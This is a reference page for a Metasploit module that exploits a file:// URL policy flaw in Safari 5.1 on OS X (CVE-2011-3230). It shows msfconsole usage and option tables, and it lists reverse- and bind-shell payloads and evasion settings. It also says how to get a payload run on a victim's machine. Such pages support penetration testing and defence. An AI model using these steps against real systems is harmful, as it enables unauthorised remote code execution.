Apple Safari file:// Arbitrary Code Execution - Metasploit
This page contains detailed information about how to use the exploit/osx/browser/safari_file_policy metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apple Safari file:// Arbitrary Code Execution
Module: exploit/osx/browser/safari_file_policy
Source code: modules/exploits/osx/browser/safari_file_policy.rb
Disclosure date: 2011-10-12
Last modification time: 2021-02-08 14:51:58 +0000
Supported architecture(s): cmd, java
Supported platform(s): Java, OSX, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2011-3230
This module exploits a vulnerability found in Apple Safari on OS X platform. A policy issue in the handling of file:// URLs may allow arbitrary remote code execution under the context of the user. In order to trigger arbitrary remote code execution, the best way seems to be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or a file format that OS X might automount), and then execute it in /Volumes/[share]. If there's some kind of bug that leaks the victim machine's current username, then it's also possible to execute the payload in /Users/[username]/Downloads/, or else bruteforce your way to getting that information. Please note that non-java payloads (*.sh extension) might get launched by Xcode instead of executing it, in that case please try the Java ones instead.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/osx/browser/safari_file_policy
msf exploit(safari_file_policy) > show targets
... a list of targets ...
msf exploit(safari_file_policy) > set TARGET target-id
msf exploit(safari_file_policy) > show options
... show and set options ...
msf exploit(safari_file_policy) > exploit
Go back to menu.
Msfconsole Usage
Here is how the osx/browser/safari_file_policy exploit module looks in the msfconsole:
msf6 > use exploit/osx/browser/safari_file_policy
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(osx/browser/safari_file_policy) > show info
Name: Apple Safari file:// Arbitrary Code Execution
Module: exploit/osx/browser/safari_file_policy
Platform: Java, OSX, Unix
Arch: cmd, java
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2011-10-12
Provided by:
Aaron Sigel
sinn3r <[email protected]>
Available targets:
Id Name
-- ----
0 Safari 5.1 on OS X
1 Safari 5.1 on OS X with Java
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPPORT 80 yes The HTTP server port
PASVPORT 0 no The local PASV data port to listen on (0 is random)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 21 yes The local port to use for the FTP server (Do not change)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Avoid: 0 characters
Description:
This module exploits a vulnerability found in Apple Safari on OS X
platform. A policy issue in the handling of file:// URLs may allow
arbitrary remote code execution under the context of the user. In
order to trigger arbitrary remote code execution, the best way seems
to be opening a share on the victim machine first (this can be
SMB/WebDav/FTP, or a file format that OS X might automount), and
then execute it in /Volumes/[share]. If there's some kind of bug
that leaks the victim machine's current username, then it's also
possible to execute the payload in /Users/[username]/Downloads/, or
else bruteforce your way to getting that information. Please note
that non-java payloads (*.sh extension) might get launched by Xcode
instead of executing it, in that case please try the Java ones
instead.
References:
https://nvd.nist.gov/vuln/detail/CVE-2011-3230
OSVDB (76389)
http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments
http://support.apple.com/kb/HT5000
Module Options
This is a complete list of options available in the osx/browser/safari_file_policy exploit:
msf6 exploit(osx/browser/safari_file_policy) > show options
Module options (exploit/osx/browser/safari_file_policy):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPPORT 80 yes The HTTP server port
PASVPORT 0 no The local PASV data port to listen on (0 is random)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 21 yes The local port to use for the FTP server (Do not change)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Safari 5.1 on OS X
Advanced Options
Here is a complete list of advanced options supported by the osx/browser/safari_file_policy exploit:
msf6 exploit(osx/browser/safari_file_policy) > show advanced
Module advanced options (exploit/osx/browser/safari_file_policy):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/browser/safari_file_policy module can exploit:
msf6 exploit(osx/browser/safari_file_policy) > show targets
Exploit targets:
Id Name
-- ----
0 Safari 5.1 on OS X
1 Safari 5.1 on OS X with Java
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/browser/safari_file_policy exploit:
msf6 exploit(osx/browser/safari_file_policy) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
21 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
22 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
23 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
24 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
25 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
26 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
27 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
28 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
29 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
30 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
31 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
32 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
33 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
34 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
35 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
36 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
37 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
38 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
39 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
40 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
41 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
42 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
43 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
44 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
45 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
46 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
47 payload/generic/custom normal No Custom Payload
48 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
49 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
50 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
51 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
52 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
53 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
54 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
55 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
56 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
57 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
58 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
59 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
60 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the osx/browser/safari_file_policy exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/browser/safari_file_policy) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
zlib support was not detected, yet the HTTP::compression option was set. Don't do that!
Here is a relevant code snippet related to the "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" error message:
252: # exception is only raised if the DisableGzip advanced option has not been
253: # set.
254: #
255: def use_zlib
256: if !Rex::Text.zlib_present? && datastore['HTTP::compression']
257: fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
258: end
259: end
260:
261:
262: #
Unsupported target: <AGENT>
Here is a relevant code snippet related to the "Unsupported target: <AGENT>" error message:
275: #
276: def on_request_uri(cli, request)
277: agent = request.headers['User-Agent']
278:
279: if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
280: print_error("Unsupported target: #{agent}")
281: send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
282: return
283: end
284:
285: html = <<-HTML
Go back to menu.
Related Pull Requests
- #14696 Merged Pull Request: Zeitwerk rex folder
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8940 Merged Pull Request: spelling/grammar fixes part 2
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6644 Merged Pull Request: Preserve default types for datastore options
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1996 Merged Pull Request: Ref updates for several modules
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #693 Merged Pull Request: Correct OSX naming
References
- CVE-2011-3230
- OSVDB (76389)
- http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments
- http://support.apple.com/kb/HT5000
See Also
Check also the following modules related to this module:
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/osx/browser/safari_metadata_archive
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/osx/browser/safari_user_assisted_download_launch
- exploit/osx/browser/adobe_flash_delete_range_tl_op
- exploit/osx/browser/mozilla_mchannel
- exploit/osx/browser/osx_gatekeeper_bypass
- exploit/osx/browser/software_update
- auxiliary/gather/safari_file_url_navigation
- exploit/apple_ios/browser/safari_jit
- exploit/apple_ios/browser/safari_libtiff
- exploit/windows/browser/safari_xslt_output
- post/osx/gather/safari_lastsession
- exploit/windows/http/exchange_ecp_dlp_policy
- exploit/windows/smb/group_policy_startup
- auxiliary/gather/alienvault_newpolicyform_sqli
- exploit/linux/samba/setinfopolicy_heap
- exploit/windows/http/mcafee_epolicy_source
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/apple_safari_webarchive_uxss
- post/windows/gather/credentials/safari
- exploit/osx/local/dyld_print_to_file_root
Related Nessus plugins:
Authors
- Aaron Sigel
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
